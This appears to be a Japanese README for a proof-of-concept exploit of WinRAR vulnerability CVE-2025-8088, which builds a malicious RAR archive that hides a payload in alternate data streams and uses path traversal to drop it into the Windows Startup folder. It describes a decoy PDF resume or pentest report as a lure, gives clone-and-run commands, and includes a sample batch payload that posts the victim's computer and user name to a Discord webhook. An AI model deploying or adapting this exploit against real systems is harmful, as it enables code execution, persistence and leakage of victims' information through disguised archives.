CVE-2025-8088 WinRAR エクスプロイト 🔓

WinRARの脆弱性（CVE-2025-8088）に対する概念実証エクスプロイトで、バージョン7.12以下に影響します。このツールは、パス横断を伴う代替データストリーム（ADS）にペイロードを埋め込んだ悪意のあるRARアーカイブを作成し、任意のコード実行につながる可能性があります。

• 他の多くのツールの問題は、複数のADSストリームを埋め込んでおらず、正しいパス横断を運任せにするか、正確なユーザー名/抽出ディレクトリを知っている必要があることです。

🚀 動作の仕組み

1. デコイドキュメントを作成 📄 - プロフェッショナルなPDF（履歴書またはペンテストレポート）を生成
2. 複数のADSストリームを埋め込む 🔄 - 異なるパス横断深度のペイロードストリームを添付
3. RARヘッダーを操作 ⚙️ - パス横断脆弱性を悪用するためにアーカイブ構造を変更
4. ペイロードをスタートアップに配置 📂 - 抽出時にWindowsスタートアップフォルダにペイロードを書き込もうとする

🛠️ 使い方

# Clone the repository
git clone https://github.com/pentestfunctions/best-CVE-2025-8088.git
cd best-CVE-2025-8088

# Install dependencies
pip install reportlab

# Run the exploit
python CVE-2025-8088.py

✏️ ペイロードのカスタマイズ

ペイロードを編集してDiscord webhookを呼び出す：

# Replace the PAYLOAD variable in the script:
PAYLOAD = """@echo off
curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Extracted on %COMPUTERNAME% by %USERNAME%\"}" YOUR_DISCORD_WEBHOOK_URL
pause
"""